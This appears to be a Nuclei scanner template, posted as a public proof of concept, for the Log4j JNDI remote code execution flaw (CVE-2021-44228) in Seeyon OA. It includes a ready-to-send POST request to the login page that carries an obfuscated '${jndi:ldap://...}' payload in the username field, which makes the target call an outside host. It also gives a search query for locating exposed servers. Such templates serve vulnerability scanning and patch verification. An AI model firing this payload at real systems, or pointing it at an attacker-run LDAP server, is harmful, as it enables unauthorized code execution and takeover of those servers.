Seeyon OA is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
PoC代码[已公开]
id: seeyon-oa-log4j-rce
info:
name: Seeyon OA (Log4j) - Remote Code Execution
author: SleepingBag945
severity: critical
description: |
Seeyon OA is susceptible to remote code execution via the Apache Log4j 2 library prior to 2.15.0 by recording its own log information, specifically with specially crafted values sent as user input. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
reference:
- https://github.com/achuna33/MYExploit/blob/8ffbf7ee60cbd77ad90b0831b93846aba224ab29/src/main/java/com/achuna33/Controllers/SeeyonController.java
- https://blog.csdn.net/xd_2021/article/details/122232463
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
fofa-query: app="致远互联-OA"
product: log4j
vendor: apache
tags: cve,cve2021,rce,jndi,log4j,seeyon-oa,kev,oast,vuln
http:
- raw:
- |
POST /seeyon/main.do?method=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
authorization=&login.timezone=GMT+8:00&province=&city=&rectangle=&login_username=${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://{{interactsh-url}}}
matchers:
- type: dsl
dsl:
- "len(body) == 0"
- "status_code == 302"
- 'contains(interactsh_protocol, "dns")'
- "contains(tolower(header), '/seeyon/main.do')"
condition: and
# digest: 4b0a00483046022100bd97e68ee5d43ff5231e69da755038e753b5e745be4efbc80e9c51fc199fd26c022100ad09ab5f92ad67ee9e9b8928b006c53b612774be5e9898cf8f2d6d9d5fe7d425:922c64590222798bb761d5b6d8e72950